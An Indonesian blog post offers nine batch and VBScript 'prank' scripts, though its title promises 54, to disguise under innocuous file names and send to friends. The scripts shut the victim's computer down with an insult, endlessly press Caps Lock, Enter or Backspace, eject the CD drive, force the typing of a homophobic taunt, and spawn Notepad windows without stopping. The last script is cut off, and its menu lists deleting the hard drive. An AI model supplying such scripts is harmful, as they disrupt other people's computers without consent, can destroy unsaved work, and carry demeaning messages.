54 Kumpulan Script Code Untuk Isengi Teman-teman Anda

Jumat, Desember 09, 2011

Cirebon-Cyber4rt - Malem sob, Kali ini saya akan membahas tentang script code. Saat saya lagi menjelajahi forum xcode saya bertemu dengan kode script yang keren-keren ini. Saya pikir script ini cocok buat isengin teman-teman sobat hehehee...

1). Memberi sedikit pesan dan shutdown komputer teman anda.

Ketik kode:

@echo off

msg * I don't like you

shutdown -c "Error! You are too stupid!" -s

- Save As menggunakan Extension .BAT lalu kirim ke teman anda.

Contoh: apasaja.bat

2). Menyalakan tombol Caps lock secara simultan.

Ketik kode:

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

- Save As .VBS terus kirim ke teman anda

        Contoh: apasaja.VBS

3). Buka/tutup CD drive secara terus menerus.

Ketik kode:

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

- Save As .VBS terus kirim ke teman anda.

4). Yang ini script fungsinya supaya tekan enter secara simultan.

Ketik kode :

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

- Save As .VBS terus kirim ke teman anda.

5). Script ini Fungsinya untuk membuka notepad, kemudian akan mengetik pesan kita secara otomatis di notepad.

Ketik kode:

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "w a"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "m g"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

- Save As .VBS terus kirim ke teman anda.

6). Membuat script VBS ini menjalankan BACKSPACE secara simultan.

Ketik Code:

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

- Save As .VBS terus kirim ke teman anda

7). Hack keyboard sehingga temen lu dipaksa ngetik " u are a gay" secara simultan.

Ketik kode:

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "You are a gay"

loop

- Save As .VBS trus kirim ke teman anda

8). Buka Notepad secara terus menerus.

Ketik kode:

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

- Save As .BAT terus kirim ke teman anda

9). Script BAT yang ini bakal munculin 5 pilihan yang harus temen kalian diantaranya adalah:

1. Shutdown

2. Restart

3. Hapus HardDrive 

4. Net Send

5. Menampilkan pesan, kemudian shutdown

Ketik kode:

@echo off

title The end of the world

cd C:\

:menu

cls

echo oops gw gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi tanggung jawab lu sendiri...

pause

echo pilih nama cwe yang lu suka =P :

echo 1. datanya bakal ilang lho.

echo 2. komputer nya corrupt lho

echo 3. heheh no comment deh klo yang ini

echo 4. mau mati pake jalan ini?

echo 5. bye bye...

set input=nothing

set /p input=Choice:

if %input%==1 goto one

if %input%==2 goto two

Dari 9 kode Script diatas, sobat bisa kembangin dari 9 script digabung menjadi 1, Kemudian lihat hasilnya...??

Wkwkwk ^_^

Tweet

Artikel Terkait :